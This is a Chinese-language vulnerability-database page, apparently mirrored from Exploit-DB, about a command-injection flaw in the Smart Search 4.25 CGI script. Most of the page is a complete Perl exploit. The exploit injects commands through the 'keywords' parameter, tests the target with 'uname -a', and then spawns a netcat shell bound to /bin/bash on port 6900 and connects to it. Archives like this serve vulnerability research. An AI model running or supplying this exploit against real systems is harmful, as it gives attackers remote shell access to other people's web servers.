Smart Search 4.25 – Remote Command Execution

Smart Search 4.25 – Remote Command Execution

漏洞ID 1053671 漏洞类型
发布时间 2003-01-05 更新时间 2003-01-05
图片[1]-Smart Search 4.25 – Remote Command Execution-安全小百科CVE编号 N/A
图片[2]-Smart Search 4.25 – Remote Command Execution-安全小百科CNNVD-ID N/A
漏洞平台 CGI CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22380
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7133/info

A vulnerability has been discovered in the Smart Search CGI script. Due to insufficient sanitization of user-supplied URI parameters, it may be possible for an attacker to execute arbitrary commands on a target system. All commands executed in this manner would be run with the privileges of the web server hosting the script.

#!/usr/bin/perl -w
#
# Smart Search CGI Remote Exploit by: Knight420
#
# Greetz: echo, qubit, lkm, omega, borgon
#
use IO::Socket;
if ($#ARGV<0)
{
print "nSmart Search CGI Remote Exploit by: Knight420";
print "nn Usage: perl smartass.pl ip pathnn";
exit;
}
$elite = ("GET 
$ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash| 
HTTP/1.0");
$check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]", 
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
print "Smart Search CGI Remote Exploit by: knight420";
print "n*** [1] Checking if remote host is vulnerable...";
print $connect "$check";
if ($#connect<0)
{
print "n*** [*] Remote host is not vulnerable... n";
exit;
}
print "n *** [2] Host is vulnerable...Sending exploit code";
print $connect "$elite";
system('nc -v $ARGV[0] 6900 ');
close($connect);

相关推荐: Third Voice Web 注释功能交叉站点脚本漏洞

Third Voice Web 注释功能交叉站点脚本漏洞 漏洞ID 1206744 漏洞类型 跨站脚本 发布时间 1999-12-31 更新时间 1999-12-31 CVE编号 CVE-1999-1167 CNNVD-ID CNNVD-199912-142 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享